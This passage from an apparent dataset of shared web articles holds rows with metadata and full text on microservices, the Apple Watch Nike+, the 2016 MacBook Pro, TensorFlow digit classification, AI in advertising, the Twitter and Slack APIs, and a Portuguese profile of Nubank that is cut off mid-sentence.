save that for future posts. As an early release you can access a live presentation of this material recorded at our SpringOne Platform conference in August of this year. Being a software-driven business with velocity requires a whole new toolset. Yet new technology alone is not enough. Reinventing processes to achieve velocity is essential, and so is wrapping new roles and teams around that (think Conway's Law ). Finally, requirements like regulatory compliance or capacity planning haven't vanished, but they take on new forms and are fulfilled by amended roles. What we've seen in this post is just the beginning. ✹ This article is part of Built to Adapt , a publication by that shares stories and insights on how software is changing the way businesses are built.",en
1477669626,CONTENT SHARED,3262705634545542432,7645894863578715801,3480723906734623856,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,https://medium.com/built-to-adapt/on-orchestrated-microservices-5c8bd787ead4,On Orchestrated Microservices - Built to Adapt,"I have this terrible habit of subtweeting during meetings. What can I say? It's a reasonably effective way for me to blow off the stress associated with a discussion that's driving me a little bit crazy without inflicting said crazy on the room. Except this particular subtweet went viral. I was amazed honestly. I didn't think this statement was particularly profound, but for some reason it resonated with a lot of people. One thousand retweets and one thousand likes are both within striking distance. Anyway, as the conversation has continued throughout the past week, I thought it might be fun to tell this tweet's story in another medium (see what I did there?) and deal with some of the feedback in more than 140 character snippets. Without naming names, I was watching a presentation centered around a proposed set of enhancements to a certain cloud application platform that would make the agile feedback loop a first class citizen. An ancillary point was raised about the necessity to facilitate the deployment of a set of related microservices as a set and in a specific order. I immediately started to twitch just a little, and fired off the tweet. You see, I've heard this particular requirement several times before. And I've never understood it. I believe the greatest power to be found in what we're calling ""microservice"" or ""cloud native"" architectures is the notion of absolute decoupling of deployment lifecycle. When I discuss these architectures with my customers, I often use analogies like ""change out the engines on an aircraft while it's in flight"" and ""replace the cells on a living organism."" In an always on services world, I simply don't see how you can create a 24/7 responsive user experience, and deploy new features, without the ability to replace any component of your system at will. And to further the point, I don't see how you can make that system secure (see my colleague Justin Smith's post below for context) without this ability either. So, if you're telling me that you're willing to punt on the supreme value add of microservices, then why would you be willing to take on all of the additional pain that comes with a distributed system? Read the blog above. Read the linked content. Keep going. If you don't figure out immediately that distributed systems are HARD then I'm not sure you're paying attention. As a system architect I would never agree to pay the distributed systems tax unless I was getting a clear and valuable benefit. Going on to some feedback, my good friend Dan Woods brings up the following: Well played Dan. You're absolutely right. There are in fact plenty of examples of distributed systems where order matters. But there are many more examples where order absolutely does not matter. Seldom do you get lucky. The overwhelming majority of the time you must design this order independence into the system. It's your responsibility to make each component not care if one of its dependencies is present. In fact, this sounds suspiciously like fault tolerance . Why do we care about fault tolerance? Because we know that the probability of failure in any distributed system increases exponentially with the number of nodes present in the system! One of your lovely little microservices is going to get sick on a fairly regular basis, and what are the rest of your microservices going to do? If you can't even orchestrate your initial deployment if something's missing, how in the world are you going to survive production? So if you're going to embrace distributed systems, please start from the first principle that every node in your system can at least start and run in a gracefully degraded state regardless of what else is transpiring in the system. If (and only if) you come to a point where this is seemingly impossible (prove it if you can), introduce an ordering dependency. It's just like the notion of database transactions. They're absolutely useful. And over the course of the last couple of software engineering decades, we've made it stupid easy to add transactional behavior to applications. In doing this, somewhere along the way we became convinced that everything should exist within a transaction. There is no business behavior that can exist without ACID! The interesting thing that I see is that almost nothing seems to be ACID in the real world. Processes truly requiring ACID really do exist, but there really aren't that many of them. Distributed systems requiring complex orchestration really do exist, but there really shouldn't be that many of them. So what now? Time for the standard consultant answer: it depends. Should you recompose all of your microservices into a monolith? Or should you apply foundational distributed systems patterns to eliminate your orchestration issue? Yes. I don't know your context. I don't know which of these paths is going to be successful for you. I've absolutely chosen both of them in different situations based on careful consideration of the data in front of me: In that particular situation, I was smokejumping in to save an architectural dumpster fire. These were OSGi-based microservices, so they weren't paying the distributed systems tax, but there was still a complete failure to define effective component boundaries and service contracts. A monolith paying the OSGi tax is just as painful as a monolith paying the distributed systems tax. I wasn't convinced we had enough time or money to put out the fire any way other than to rip OSGi out and reify the monolith. Wouldn't you know that within 6 months this team was doing continuous delivery of working software to pre-production environments? But please don't tell me you're special... You're doing it wrong. I've spent the better part of the last three years helping Fortune 500 customers across every vertical imaginable build or migrate to microservices and distributed systems architectures. At the same time, I had the privilege of managing product for another distributed system you may have heard of: If there's one thing I've learned during this amazing journey, it's this: you're not special. There's no special business problem that you're trying to solve that puts you in a special class where multiple decades of distributed systems theory doesn't apply to you. You either need a distributed system that follows distributed systems principles, or you need a well-factored monolith that follows the design principles of OO or Functional or whatever programming paradigm you choose. There really isn't another option. ✹ This article is part of Built to Adapt , a publication by that shares stories and insights on how software is changing the way businesses are built.",en
1477670168,CONTENT SHARED,-7732246497578572511,-8845298781299428018,-7287659210673645150,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/10/28/apple-watch-nike/,Taking the Apple Watch Nike+ for a spin,"The Apple Watch Nike+ is loud in every way a watch can be loud. It's got a brightly colored perforated neon band, matched perfectly by a custom face that tries to motivate wearers with quick Nike-esque slogans like ""Running Today?"" and ""When Are We Running?"" The Apple Watch Nike+ begs to be noticed. The moment I popped it on and entered society, eyes were immediately drawn to the bright yellow circles adorning the watchband. Though, to be fair, I wasn't wearing exercise attire on the way home from work. The Apple Watch Nike+ is not subtle. Nor is it designed to be. That's the job of the standard Apple Watch, to blend in to every day life, to be there when you need it. This latest collaboration between the two corporate giants, released on the 10 th anniversary of the original Nike+ team up, is designed, above all, to motivate, like an excited personal trainer in a brightly colored jumpsuit tapping you on the shoulder and asking you if you're planning to get off your lazy butt. It's not for everyone, as the companies will probably be the first to admit. Instead, the product is targeted at two key demographics - regular runners and aspirational ones, which, granted, is a reasonably large group of people, all together. What's perhaps most interesting about Apple Watch Nike+ is that, at its heart, it's just a regular, old Apple Watch. Those bright, perforated bands are removable by pressing a button on the back of the watch and sliding them out, sideways (not to mention the fact that there are more muted options than the yellow version I got). And if you buy the standard version of the Watch, you can always download and install the Nike app - though you'll be missing the company's custom faces with integrated Nike swoosh and some shortcuts. Really, motivation is at the heart of the Nike model, from activity reminders right down to the band design, which, among other things, is a bit like tying a string around your finger, or, for that matter, wearing a FitBit. When you look down, there it is, a constant reminder that you really ought to be working out more. The band is a rubbery silicone, peppered with small holes that alternate in rows of one and three in a sort of lattice-structure. The flip side of the band is another color entirely, which bleeds through the edges of the holes. In the case of the yellow, it offers up a sort of bumblebee effect. It's a look that works well when dressed for the gym, but I would likely buy another strap or two for my non-workout time. The watch comes with two strap sizes - the smaller actually fit better, which says a bit about the larger, given the fact that I'm 5'11″, and imagine my wrists are likely larger than average (listen, I don't claim to be a wrist expert here, people). The band is designed to offer a snug and secure fit, threading one end through a hole in the other and pushing the knob through a center hole. It took me a bit to get it right with one hand, but once it's on, it's not going anywhere. It's comfortable, soft and, naturally, sweatproof. Nike's additions to the watch are focused firmly on running. I asked a rep why the company opted not to go all in on workouts (especially given the new Watch's sim-friendly features including the water ejecting speaker), and he explained that Nike wanted to focus on doing one thing well. And indeed, running functionality is built into pretty much every aspect of the device. The default face features the time as two, big, bright numbers, and features a total of three links to fitness tracking content - a lot for such a small bit of real estate One brings you to the standard Apple Watch activity tracker, while the Nike swoosh logo and small text on the bottom of the display showing off the distance of your last run brings you to the Nike+ Run Club app. Unlike the auto-triggering of other devoted activity trackers, you'll need to start the run tracking on the watch. The app also asks that you specify certain details for tracking purposes, like whether you're doing the run indoors or outdoors, so it knows whether to use GPS or just step count to measure the distance. If you want to just match the distance of the last run, click the giant Start button. Swipe down and you can set run parameters by distance, speed and time. Swipe right and you get the ""When are we running?"" screen, which lets you schedule a future run by half hour - each of which also features a handy weather icon and temperature listing, so you know what you're getting yourself into. Weather plays a key role in the app (as it does in the life of runners in general), including motivational slogans. ""Don't let a couple of drops drop you,"" the app teased the other day when it was raining. Swipe right one more time, and you can check your metrics, including the number of runs completed and the total miles. Of course, there's a bunch more to see and do in the full app. The most notable bit is probably the Club tab, where you can connect with and compete against people virtually and in person. The app incorporates those leaderboards into the watch interface, offering you an extra bit of motivation by showing you how much further you have to run to catch up with the next person on the list. The time was clearly right for Apple and Nike to resurrect their partnership for this latest device. The Watch Series 2 is a generally more-well rounded fitness device, helped along by the addition of features like on-board GPS, which mean you can sync up your Bluetooth headphones and go for a long run without having to bring along the phone. The bright screen is particularly easy to read when coupled with Nike's customary giant neon font. And all of that is backed by your standard Apple Watch features, at the same price as a standard version of the watch ($369 for the 38mm version and $399 for 42mm). So, while you're not really getting all that much you can't just load onto the device yourself, you're also not paying extra for what you get. As such, the decision comes down to how much you love running and how you feel about those bands. Both of which, understandably, aren't for everyone.",en
1477670394,CONTENT SHARED,7814856426770804213,-9016528795238256703,9100012288934953337,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",MG,BR,HTML,https://blog.devteam.space/new-macbook-pro-is-not-a-laptop-for-developers-anymore-d0d4b1b8b7de?gi=6d5f52f5f44,New MacBook Pro is not a Laptop for Developers Anymore,"Here's why: #1. No Escape and function keys Today's Apple Event confirmed many of the rumors surrounding the long-awaited refresh of the Macbook Pro line. The Escape and Function keys on the laptops have been abandoned in favor of a touch bar that changed depending on the application that is being used. The last the Macbook Pro got a major update was a shocking 4 years ago and many publications are celebrating the new design. However, the lack of physical Escape and Function keys is a disaster for one major set of Apple's customers - Developers. Let's take a look at numbers: There are ~ 19 million developers in the world. And Apple has managed to sell ~19 million Macs over the past 4 quarters. What a coincidence! Yes, developers are drawn towards Apple products primarily for software reasons: the Unix-like operating system and the proprietary development ecosystem. But developers need to have a functional keyboard to make use of that software and now they don't. Why Tim Cook , why? This isn't to say that the touch bar is an inherently bad idea. You could locate it on top of the Esc and function keys instead of eliminating them entirely! Something like this: #2 Power. Almost no improvement for RAM and a processor The 2016 MacBook Pro ships with RAM and processor specs that are nearly identical to the 2010 model. Deja vu? RAM: At least it feels like that, because the MacBook Pro has had options of up to 16 GB of RAM since 2010. The only difference now is that you pay for the update. Processors: The MacBook Pro had options with 2.4 gigahertz dual-core processors back in 2010. Anything new in 2016? Not really, well... nope. That feels strange too, especially if you compare the price and the hardware quality to Apple's competitors. These days it's easy to find a Windows or Linux machine comparable to the Macbook Pro for $1,000 - $1,500. You don't need to go far to find them, notable brands like Lenovo, HP, Asus, Samsung, and Dell all offer them. And for those who aren't fans of Windows, Linux is always an option. With more resources poured into Microsoft developers ecosystem and Linux distributions, developers may soon have a wide range of great operating systems that can run on pretty cheap laptops. And to nail it: #3. What people are saying about MacBook Pro 2016 If you liked the post, click the �� below so more people will see it! :)",en
1477744835,CONTENT SHARED,6797493571710971497,-1443636648652872475,-807026208762641096,Android - Native Mobile App,SP,BR,HTML,http://blog.yhat.com/posts/handwriting-classifier-updated.html,ŷhat | Classifying handwritten digits using TensorFlow,"Way back when in 2013, I wrote a post about digit recognition in Python . Since then a lot has changed in the Python data ecosystem. Google has given us Tensorflow, scikit-learn has matured, and ""AI"" is now the latest craze. Well I decided that it's about time to freshen up the digit recognizer. It's still a really simple, yet fascinating concept: taking someone's handwriting and trying to predict what that person wrote. Good news is that I've picked up a few new tricks over the years and I'm going to share some of them with you here. What a difference a couple years makes :) Psst. Want to go straight to the new app? Check it out here: ! What we're doing One of the things I wanted to change about the handwriting recognizer was to make it more ""real-time."" Instead of making the user draw something and then click ""guess"", wouldn't it be way more interesting if the app proactively tried to figure out what you were drawing? To do this we need a way to invoke our model as the user is drawing the number. This might seem simple but it implies that we can (1) make predictions on an image fast enough to keep up with someone's handwriting and (2) we can send predictions back and forth from our application (presumably using something like Javascript). Luckily since my first post was written, Yhat has made some big performance improvements: it can now do a few thousand predictions each second as opposed to 500-700 a few years ago. The Data One of the consequences of making an app that's constantly making predictions is that we need to train our model on incomplete data . Let's say you've written half of the number 5. That might look sort of like a 6, 9, or even a 1 (depending your caligraphic style). In order to handle these sorts of partial data situations we need to collect data (or in our case images) on partially completed digits. To do this, I made a little web application that does the following: Presents the visitor with a blank canvas and asks them to draw a random number As the user is drawing the number, saves the image to an S3 bucket (categorized and labeled of course) Once the user is finished, show repeat steps #1 and #2 with a new number After persuading my co-workers, I wound up with just over 80K images: Phew! We've got over 80,000 numbers in various stages of being drawn. To get these images into Python I used the skimage library which provides a consistent, easy to use API on top of OpenCV, scipy, and other python-image tools. You can see below that I'm looping through each image file and turning it into a numpy array using the get_image_data function. get_image_data takes an image file and does the following: opens it and reads it into python as an array converts it from color to grayscale (saves on size) downsamples the image by 25x (this might seem like a lot but it doesn't make a significant difference to our classifier) ""flattens"" it from a 2-dimensional array (20x20) into a 1-dimensional array (1x400) And ze code... Next step here is to build a classifier that can interpret them! Classifying our images Classifying handwritten digits is a fairly common tutorial/textbook problem for machine learning libraries. The MNIST dataset is commonly referenced and you can find it in the documentation for libraries such as scikit-learn , Tensorflow , and Keras . So lucky for us there are a lot of great starting points. Our problem really becomes adapting one of these examples to our use-case. For this post I decided to use Tensorflow. They actually have 2 examples of building a classifier using MNIST dataset which is very convenient for us! I'll use the basic example for now because it's less code and more straightforward. Model Code Tensorflow requires a lot of ""low-level"" understanding and configuration of the underlying graph/network. To be perfectly honest, I wouldn't recommend using it unless you're confident you know what you're doing. Setting up our model we'll create ""placeholder"" variables (like x below). These placeholders aren't executed when they're instantiated. Instead evaluation is delayed until you're actually operating on your data. We're also going to create 2 variables, W and b , which represent the ""weights"" and ""bias"" of our model. Initially we'll set them all to 0, but once we start training our model these variables will be updated to reflect the training data. Lastly we'll define our model with tf.nn.softmax . In this case we're using the softmax algorithm but there are plenty of other options available. Apart from the model we also need to define optimizers for how training will be done. Ok almost there. Just initialize our variables session and start our tensorflow session! Training Now that everything is set :coup we can actually start training our model. Tensorflow is nice because it supports iterative training--this means you don't have to do 100% of your training in a single step or a single line (think scikit-learn). So as you acquire more data you can update your model and fine-tune your weights. Below you can see the actual training code. We're doing 10,000 batches of training on 1000 data points each time. I've written a helper function called next_batch for randomly feeding my model data. Making predictions Ok great now that we've got our model we can start making predictions! I found this very unintuitive to do in tensorflow, but alas I didn't write the API: I went ahead and deployed this model using ScienceOps (shameless plug) and hooked it up to the web app discusssed above. I can now generate predictions in real-time as the user is drawing a particular number. Pretty slick! My model could use a little work but it's really cool to see how it's prediction gets better as you give it more information (i.e. as you get closer to finishing your drawing). Check out the fully functional webapp here . Final Thoughts For more resources on tensorflow, MNIST, or image recognition check out the resources below:",en
1477834435,CONTENT SHARED,-8009994379436553252,-1443636648652872475,-2238486914461112456,Android - Native Mobile App,SP,BR,HTML,http://venturebeat.com/2016/10/29/how-ai-helps-marketers-tell-better-stories/,How AI helps marketers tell better stories,"We live in exciting times. Or as Peter Diamandis would say, we live in ""exponential times"". Digital disruption is everywhere. There's always a new new thing. This is so true that we sometimes take it for granted and disregard its full magnitude . This year, all eyes are focused on AI, the newest kid on the block. And considering recent stats (30,000 bots in four months on Messenger alone) , its star isn't likely to fade anytime soon. It's here for the long haul. If AI was a rapper, it'd be more Jay-Z than J Kwon (apologies to the non hip-hop fans in the house). As a matter of fact, AI is already a powerful tool, and we've barely scratched the surface. Its potential is both scary and exhilarating. And every industry, one by one, will see its emergence transform the rules of the game. White collar blues Although blue-collar jobs are the most susceptible to being automated first, AI is already taking stabs at much more sophisticated white-collar industries like law , healthcare , HR , office management and many more. As an advertising copywriter turned chatbot entrepreneur, I believe advertising is next in line. And not just advertising but storytelling in general. In its purest form, advertising is essentially the art of telling a compelling story in just a few words. And whether it's a six-word billboard on the highway, a 25-character Google Adwords headline or a 140-character tweet, the process has, for the most part, remained unchanged through the years. But like anything old, it's ripe for disruption. Don Draper meets IBM Watson With the rise of digital technologies and big data, there's an immense pressure on the advertising industry to make its main currency-creativity-more measurable. The need to balance business objectives with creative intuition increasingly creates friction between agency creatives and data-driven marketers. Thing is, there doesn't seem to be any one perfect metric to rely on yet. We still rely heavily on personal taste and gut feeling, which are both highly subjective. Language, after all, is more qualitative than quantitative by nature. It's no surprise, then, that we have a hard time measuring it. From Apple's ""Think Different"" to Nike's ""Just Do It"" or McDonald's ""I'm lovin' it"" campaigns, creative writers have built great value for brands over the last century. It's undeniable that using the right words can be extremely valuable for brands. According to Interbrand's annual rankings, the Apple brand alone is worth $170m, the McDonald's brand is worth $40m and the Nike brand is estimated at $23m. This is the brand value from a holistic standpoint. But it's fair to say that these brands' iconic slogans played a key role in establishing their cult-like status. Telling better stories with AI Could AI help us produce more ""Just do it"" and ""I'm lovin' it"" messages and unlock more emotional value for our brand clients? Could it enhance creative writers' superpowers by adding a little bit of science to talent and gut feeling? Could it tell us how to write and tell better stories? Although it may prove to be a double-edged sword, the answer is undoubtedly yes . With chatbots, we will unlock a wealth of conversational insights. Over time, we'll start seeing patterns of language emerge-from how specific audiences talk about specific products or how people perceive the word ""change"" in India to how millennials feel about European beers, and so forth. Thanks to these unprecedented linguistics insights, we'll be able to refine a brand's language and bring its story to life in a more personal and relatable way. ""Just do it"" could become ""Just slay it"" for diehard Beyoncé fans, for example. I'm half-joking but you get the idea. Brand building will increasingly become part science, part art. What if an ad could write itself? It's not totally far-fetched to imagine the day when stories and ads update their copy in real time, based on the context and timing of a conversation or on the psychographic and linguistic insights about an audience. Instead of telling the same story to everyone in the same way, brands will start telling the same story in thousand different ways... and therefore connect on a more visceral level. Although this is still somewhat of a sci-fi scenario, dynamic ads and real-time A/B testing show us that we're closer to this day than we think. In fact, sports journalism is already witnessing the shift, with Associated Press using AI to cover Minor League Baseball games and automatically write articles and game reports on them. Creepy? Maybe, if we choose to look on the dark side. On the other end of the spectrum, it's a tremendous opportunity to unlock more value for customers while creating brands that feel more personal and personable.",en
1477870676,CONTENT SHARED,5688444173453700360,-1032019229384696495,2552780115005069241,Android - Native Mobile App,NY,US,HTML,https://medium.com/ggv-capital/a-tale-of-2-api-platforms-39f8dfd77436,A Tale of 2 API Platforms - GGV Capital,"Opening up an API is a big commitment, one that needs to be managed well over time in order to ensure a healthy and thriving ecosystem. If a company is still in the throes of developing a product strategy and business model, it's worth waiting to offer a highly accessible, external API. It's better to understand first where you're going as a company, and then enable a massive network of partnerships to accelerate your product in that direction, with complementary experiences. If your company is thinking about offering a public API, this post is for your consideration. Let's take a look at Twitter and Slack to illustrate the ways this can play out. The Twitter API & Ecosystem Misalignment In the summer of 2012, Twitter made significant changes to their API, sunsetting version 1 and introducing 1.1, with limited access and a host of new usage policies. Of all the changes to the API, the most controversial was Twitter limiting how many users a third-party client app could have. This ensured that these client apps (which largely replicated the core Twitter experience) could not grow too big and thus, not competitive. Prior to this, Twitter's API offered largely unfettered access with little applied policy. Early on, Twitter was extremely busy just trying to maintain the service - remember the fail whale ? When the API was published, the only first-party Twitter client was the website. The API enabled an incredible flood of mobile third-party clients spanning all major mobile platforms of the day: iOS, Android, Blackberry, and so on. The early days were magical, with apps such as Tweetbot, Twitterlator, Twitterific, UberTwitter, Seesmic, Brizzly, Falcon, and many others driving meaningful feature development. At this time, the API already had 900k apps registered from 600k developers, and it was processing an insane 13 billion requests a day. The ""Twitterverse"" was massive. It was undoubtedly one of the most exciting APIs to build with in recent memory. However, as Twitter increasingly felt that their most scalable business model would be advertising, it became crucial that Twitter own the direct UI relationship with users. This became particularly pronounced when Twitter purchased Tweetie, the iOS client, and in that moment this new first-party app suddenly became indistinguishable from the service itself. Additionally, for every great client out there, there were many poorly made clients with bad user experiences. This was toxic for users trying the service for the first time, causing high churn and further forcing Twitter to offer a first-party mobile app. But most important, it was around this time that a bomb went off in the ecosystem. Bill Gross' company UberMedia began buying up several third-party Twitter clients: Echofon, UberTwitter, Twidroyd, and was looking to buy Tweetdeck. Had UberMedia successfully bought Tweetdeck, they'd have controlled a significant base of clients: dictating how many users would create and consume Tweets. There was an acute awareness within Twitter of what an existential threat this posed - if UberMedia created a shadow network, siphoned off users, and dropped Twitter out of the equation entirely, it would have been disastrous. In a sense, this meant that all of the consumer-facing third-party clients and aggregation apps were suddenly competitive - leading to misaligned incentives, and a major tightening of policies. Below is the infamous ""API quadrant"", illustrating where it was and wasn't safe to play. This was largely the end of Twitter's API ""golden age"". An API is a contract with external developers, and once it's out there taking it away is like trying to put toothpaste back in the tube: it's hard. Are there other ways this v1.1 transition could have been managed, like continued unfettered access without user limits but with an ad syndication model for third-party clients? Yes, absolutely - but that's for another post. Even though only a small subset of developers was actually affected by the v1.1 changes (remember, the ecosystem was huge and there were many different classes of apps), the impact of v1.1 sent shockwaves through the developer community and resulted in an erosion of trust, paramount to a flourishing platform. Slack's API & Aligned Incentives Contrast Twitter's approach with the way Slack manages their API ecosystem. Slack has deliberately aligned incentives with their ecosystem, focusing on complimentary apps that are weaved into their service. For instance, some of the top apps on Slack's API cover functions such as project management, calendar control, expense accounting, and more. These Slack apps that utilize a subset of scopes & permissions (via OAuth) are featured in an app directory after a review is conducted. This directory helps increase discoverability and distribution, crucial to removing friction and providing apps with the user liquidity they need to thrive. These third-party apps enrich the core Slack experience in complementary ways. This is good for all participants: users get a better experience, developers acquire more users, and Slack gets far more functionality than it could have developed in house. The incentives are aligned. Slack is taking a proactive approach to guiding and managing their ecosystem. Despite the dangers of publishing a roadmap that's certain to change, Slack has done so in the spirit of setting expectations. Furthermore, they've provisioned an "" Ideaboard "" to relay market feedback they get from customers; giving developers a sense of the problems that customers need solved. Perhaps most impressive, Slack assembled an $80M fund to directly invest in third-party apps. This is putting money where Slack's mouth is, provisioning capital to the developer community and allowing them to sustain operations while they build a business. Slack has invested almost $2M into 14 apps, with a particular focus on bot-style apps. This is a fantastic approach to ensuring that the best apps are rewarded and encouraged to maintain a high quality experience. Managing an Ecosystem So we return to a common question many companies face today: whether they should open an API to become a data service or platform? Opening an API is a huge commitment, and it's easy to underestimate the amount of work that goes along with enabling a healthy ecosystem. To be entirely fair to Twitter the API was launched incredibly early, well before the business model was figured out and obviously before there was an existential threat of client consolidation by a single external player. This made it extremely difficult for the company to continue pursuing a wide open API and spin up a healthy ad business in parallel. Remember that there are huge expectations of a company in its hyper-growth stages, in particular on when said company is going to make a lot of money. It's important to note here too, that the third-party developers who built clients in the early days benefited greatly: they got users of their own (a subset of Twitter users), positive social regard in the developer community, and many of them made varying amounts of money (some of them made a lot of money). Healthy APIs should drive reciprocal benefits to the provider, third-party app developers, and users. If your company is going to offer an API and you want to facilitate a strong ecosystem, you must invest heavily. You must constantly be working to set your developer community up for success. It's not enough to just publish the API and hope things works out. It requires a lot of forethought to properly orchestrate the right set of incentives, access, and policies for developers. Think through the types of experiences that you want your ecosystem to enable (and which experiences you want to directly own); then build out the APIs to enable such functionality. Configure your APIs, documentation, and policies to guide developers higher up the value chain. And make your core product experience great , so that there's not demand for alternative core experiences. Conversely, don't offer APIs for functionality that you must own in-house. If you offer an API that powers the core facets of your product, then you're effectively guiding your developer base to build the same service or some close derivative thereof; imagine if Twitter had never publicly offered the home timeline API. Lastly, when you find those keystone integrations in the ecosystem that illustrate watermark use cases you'd like to see tackled by the developer community - bang the drum for these apps! Let the ecosystem know this is the level of quality all other apps should aspire to. Demonstrate how you take care of players who hit this watermark with increased distribution, co-marketing opportunities, increased API access, and more. At the end of the day, if there's trust, clear lines of communication, well set expectations, and reciprocal benefit being driven across all participants in a platform - an incredible ecosystem can flourish. Look no further than companies like Stripe, Twilio, and others to see how powerful this can be. Just go in eyes wide open that it is a meaningful investment, and one that you must be committed to for the long term.",en
1477906442,CONTENT SHARED,4815632823882298534,1895326251577378793,8176160181787995316,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://projetodraft.com/por-dentro-do-nubank-conheca-os-segredos-da-fintech-mais-festejada-do-pais/,"Por dentro do Nubank, conheça os segredos da fintech mais festejada do país","Uma empresa de 360 funcionários ocupa um prédio de oito andares na avenida Rebouças, em São Paulo. Poderia ser um negócio maduro e consolidado, mas é o Nubank , fintech que está no mercado há apenas dois anos com um produto até que bem tradicional, um cartão de crédito. A diferença está na forma de fazer isso: não há anuidade para o consumidor, e as receitas vêm apenas da Mastercard, a bandeira do ""roxinho"" (como ficou conhecido o cartão Nubank). O nome, por sinal, vem de nudez mesmo, uma referência à transparência e à ausência de papel e burocracia. O cliente acompanha as transações feitas em tempo real por um aplicativo para smartphone. É do celular, aliás, que ele faz tudo: pede o cartão, desbloqueia ou bloqueia, solicita mais limite ou conversa com um atendente gente boa (os fundadores também detestam telemarketing) para resolver algum problema. Simplicidade é a alma do negócio - ao menos para o cliente, já que internamente nem sempre as coisas são tão desenroladas, como veremos adiante. Mas foi com esse jeito despretensioso que o Nubank explodiu de crescer em seu pouco tempo de vida e criou uma marca sólida, queridinha nas redes sociais. A fintech não revela o número de clientes, apenas que já recebeu 4,5 milhões de pedidos de cartão. ""Isso mostra que havia uma demanda reprimida muito grande pelo nosso produto"", diz Cristina Junqueira, 33, uma das três fundadoras da empresa, hoje vice-presidente de branding e business development. O negócio começou a ser elaborado em maio de 2013. Ela, engenheira, tinha acabado de sair do Banco Itaú, onde foi gerente do portfólio de cartões Itaucard, e se encontrado com os sócios: o colombiano e engenheiro financeiro David Vélez, 34, atual CEO, e Edward Wible, 33, formado em Ciências da Computação, nascido nos Estados Unidos e hoje CTO do Nubank. O time já começou multicultural, algo que é mantido e ampliado na empresa até hoje. Eles colocaram dinheiro do bolso para começar, mas logo de cara já conseguiram captar 2 milhões de dólares de fundos de investimento importantes: Sequoia Capital e Kaszek Ventures . Refinaram o plano de negócio, abriram empresa e em abril de 2014 emitiram os primeiros cartões em versão beta. FAZER SUCESSO CEDO TRAZ PROBLEMAS QUE NINGUÉM VÊ Daí em diante, as coisas aceleram e ficaram um tanto enlouquecedoras. ""A gente chegava a crescer 60% de um mês para o outro"", conta Cris, como é conhecida a fundadora. Eles receberam mais três rodadas de investimento, que totalizaram 99 milhões de dólares até 2016. Em dois anos, alcançaram a expansão prevista inicialmente para os cinco primeiros anos. Este é o lado conhecido da história: o sucesso arrebatador. O que nem todo mundo sabe é que uma expansão acelerada também tem seus problemas. O negócio tomou um porte tão inesperado que a responsabilidade extrapolou os resultados. Cris fala a respeito: ""Não podia ser voo de galinha. Muita gente apostava na gente, até mesmo outras empresas, além dos clientes e investidores"" Ela segue: ""Tem ainda os nossos funcionários. Muitos deles largaram empregos estáveis para vir para cá. Rola esse sentimento de esperança de que podemos ser melhores, tratar o cliente bem. Todo mundo queria que a gente mostrasse que dava certo fazer diferente"". No meio disso tudo, a vantagem da expansão rápida, ela diz, é que o ritmo era tão enlouquecedor que não dava nem tempo de sentir medo. ""Eu não podia parar o crescimento, então não dava para assustar"", conta. Cris segue bem essa toada, pois é acelerada na velocidade da música de sua staturp: chegou para a entrevista com o Draft tomando café da manhã e não pensava muito antes de entregar as respostas às perguntas. Com esse jeito descontraído, ela conta que teve um desafio adicional nestes dois anos de empresa, a maternidade. ""Minha filha tem justamente 2 anos. Voltei a trabalhar pouco mais de uma semana depois do parto. Ela sempre foi um anjo, nunca deu trabalho além do esperado. O Nubank tem muito a agradecer à Alice"", diz, sem no entanto minimizar o feito: não foi fácil. COMO MONTAR UMA EMPRESA DO ZERO A primeira sede do Nubank foi a casa de Edward, na rua Califórnia, em São Paulo. Mas, rapidamente o lugar ficou insustentável e eles se mudaram para um espaço maior, logo depois do Natal de 2014. O novo prédio mal deu conta por seis meses: tinha gente trabalhando até no corredor, times deslocados para um coworking na região e internet caindo toda hora. ""A coisa estava insalubre. Em junho daquele ano já começamos a procurar outra sede"", afirma Cris. Encontraram, enfim, o prédio onde estão hoje - e de onde não pretendem sair tão cedo. A mudança para lá até que foi mais bem planejada, mas teve tantos problemas que precisou acontecer antes do previsto. ""Chegamos e não tinha nada, nem cadeira para todo mundo"", lembra ela. Eles foram se acomodando enquanto as obras terminavam. Hoje o escritório está pronto, mas ainda passa por alguns ajustes. Os gargalos não estavam só na estrutura física: ""A nossa diretora de Recursos Humanos chegou só há dois meses"", diz a fundadora, que se envolveu em cada admissão e garante que, mesmo aos trancos e barrancos, formou um time super competente. Os nubankers, como são chamados os funcionários, têm 25 nacionalidades. Mesmo quem não é gringo, normalmente é cheio de experiência internacional. Cris afirma que há um esforço grande para respeitar os códigos mais atuais de trabalho. A hierarquia tradicional foi a primeira a sair de lado. Na Nubank, os times são divididos nos chamados squads , que variam de 10 a 50 pessoas. Ali tem tudo o que a equipe precisa para resolver os problemas com independência. Na área de fatura do cartão, por exemplo, há profissionais de várias áreas, como designers e profissionais de atendimento. Cris, avessa à burocracia sem necessidade, fala a respeito: ""Os funcionários se viram, têm o sentimento e a responsabilidade de dono. O processo tem que servir ao negócio, não o contrário"" A aura colaborativa, de se ajudar e respeitar as diferenças, também é algo importante para a startup. Cerca de 30% da equipe é LGBT . Por enquanto não há nenhum transexual, mas eles já oferecem banheiro sem definição de gênero. Cerca de 40% do time é feminino, algo raro para uma empresa de tecnologia. ""Queremos deixar isso ainda mais equilibrado"", diz Cris. Internamente, a ideia é que as pessoas se policiem para manter o clima de respeito. ""O ambiente é tão legal que as pessoas se empenham para não estragar, para não fazer piadas de mau gosto."" COMO SER UM SUCESSO DE PÚBLICO SEM INVESTIR EM PUBLICIDADE Olhando para marketing, o Nubank também nunca investiu um real sequer em publicidade e divulgação. E não parece ter feito falta: o crescimento da empresa aconteceu de forma orgânica, impulsionado pela novidade do produto e por ações de atendimento ao cliente que viralizaram nas redes sociais. Mas não se engane: construir algo assim dá ainda mais trabalho para organizar e coordenar internamente. É nesse ambiente que se formou o squad responsável pelo que o Nubank chama de ""efeito Wow"", aquele que fideliza clientes e faz a empresa bombar nas redes sociais. É preciso ter vivido em Marte nos últimos dois anos para não topar com alguém compartilhando uma história dessas na 